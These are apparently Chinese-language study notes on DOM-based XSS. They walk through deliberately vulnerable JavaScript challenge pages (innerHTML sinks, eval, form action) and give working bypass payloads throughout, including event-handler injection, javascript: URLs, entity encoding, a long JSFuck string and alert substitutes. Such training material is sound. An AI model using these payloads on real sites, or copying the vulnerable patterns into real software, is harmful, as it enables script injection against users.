DOM型XSS

​ DOM-based XSS(文档对象模型 XSS)是一种跨站脚本攻击(XSS),其特征是攻击的代码直接在客户端的文档对象模型(DOM)中执行,而不是通过服务器端处理。这种攻击方式不同于传统的反射型和存储型XSS,它并不依赖服务器直接将恶意脚本注入响应,而是通过客户端的JavaScript脚本动态地将用户输入的数据插入到DOM中,导致恶意代码执行。

工作原理

  1. 用户输入未被过滤:攻击者提供一个特制的输入(通常是在URL、表单输入、或者cookie等地方),这些输入数据会被浏览器的JavaScript代码读取。

  2. 客户端代码解析输入并修改DOM:客户端的JavaScript没有对用户输入进行适当的检查,直接使用这些数据操作DOM。例如,使用innerHTMLdocument.write()等方法将用户数据插入页面中。

  3. 恶意代码注入并执行:如果用户输入中包含恶意脚本(比如<script>alert('XSS')</script>),那么这段脚本会被插入DOM并被浏览器执行,导致XSS攻击成功。

DOM型XSS实例

For循环, 假过滤

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<body>

</body>

<script>
//location.hash.substr(1),从url中获取#后所有内容
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
//for循环枚举标签中的所有属性, 然后移除
for (let el of root.querySelectorAll('*'))
{
for (let atte of el.attributes){
el.removeAttribute(attr.name)
}
}
document.body.appendChild(root)
</script>

当你用 JavaScript 动态创建 HTML 内容时

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div.innerHTML = "<script>alert(1)</script>";

浏览器会将 <script> 标签插入 DOM 中,但不会执行它里面的 JavaScript。这是浏览器的安全机制,防止恶意脚本执行。

因此我们只能尝试利用 img a from 等标签

按照我们的直觉来看, 这个for循环完全是可以遍历我们的所有属性并删除, 以此来规避我们的恶意属性, 但事实真的如此吗

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#<a na=1 id=2 href=a onerror=alert(1)>aaa</a>

image-20250722103752515

可以看到,我们的偶数位的属性被保留了下来,这是因为移除会改变原始集合,如{属性1:a=1, 属性2:b=2,属性3:c=3},删除属性a=1后,集合变为{属性1:b=2, 属性2:c=3,属性3:},而这个时候我们的指针指向了”属性2”,从而保留了属性b=2

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#<img id=1 src=a c=3 onerror=alert(1)>

改进代码

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<script>
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;

for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>

那么,这道题又该如何解

XSS GAME

eval

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<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>

https://developer.mozilla.org/zh-CN/

eval() 是全局对象的一个函数属性。 eval() 的参数是一个字符串。如果字符串表示的是表达式,eval() 会对表达式进行求值。如果参数表示一个或多个 JavaScript 语句,那么eval() 就会执行这些语句。……如果 eval() 的参数不是字符串, eval() 会将参数原封不动地返回。

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jeff=aaa";%20alert(1)//

autofocus

自动聚焦

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<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

使用用户不参与的方式,触发payload

input 标签的特殊属性,聚焦onfocus

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wey=aaa" onfocus=alert(1) autofocus"

action

action 可以接受 javascript:伪协议

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<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
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ricardo=javascript:alert(1)

编码

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<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>

这段代码过滤了一些符号,但是,它并没有过滤 < 和 > , 所以我们的标签一定是可以被解析,所以我们尝试对 过滤的符号进行编码,来绕过过滤

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<img src=q onerror=alter(1)>
编码符号
<img src=q onerror=alter&lpar;1&rpar;>
特殊字符导致url不能被正常传输

image-20250722123723166

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<img src=q onerror=alert%26lpar%3B1%26rpar%3B>

jsfuck

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balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

很明显,这段代码拒绝所有的正常写入,以及常规的编码写入,我们必须选择一种不含 [A-Za-z0-9] 的编码方式 jsfuck

JSFuck 是一种将 JavaScript 代码转换为仅使用 6 个字符 []()!+ 表示的编码方式。这种编码方式利用了 JavaScript 的隐式类型转换和函数调用机制,将任意代码转换为极其冗长、难以阅读的形式。

http://www.hiencode.com/jsfuck.html 编码错了

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(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]

同样的,对他进行url encode

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%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%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Mafia

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mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
  • 过滤了alert,一些符号,以及jsfuck

  • 没有过滤 ( 和 ),可以考虑alert的替代函数

  • 没有过滤 ;,可以考虑html 实体编码

  • 可以尝试 大写 转 小写 的方法

  1. confirm()prompt()

  2. Number 值的 toString() 方法返回表示该数字值的字符串。

    radix将数值从一种进制转换为另一种进制

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    eval(8680439..toString(30))(1337)
  3. Function()

    创建一个新的 Function 对象。直接调用此构造函数可以动态创建函数,但会遇到和 eval() 类似的安全问题和(相对较小的)性能问题。然而,与 eval() 不同的是,Function 构造函数创建的函数只能在全局作用域中运行。

    1
    Function(/ALERT(1337)/.source.toLowerCase())()
  4. Location 接口的 hash 属性是一个字符串,包含一个 "#" 后跟位置 URL 的片段标识符。如果 URL 没有片段标识符,则该属性的值为空字符串 ""

    请参阅 URL.hash 以获取更多信息。

    1
    eval(location.hash.slice(1))#alert(1)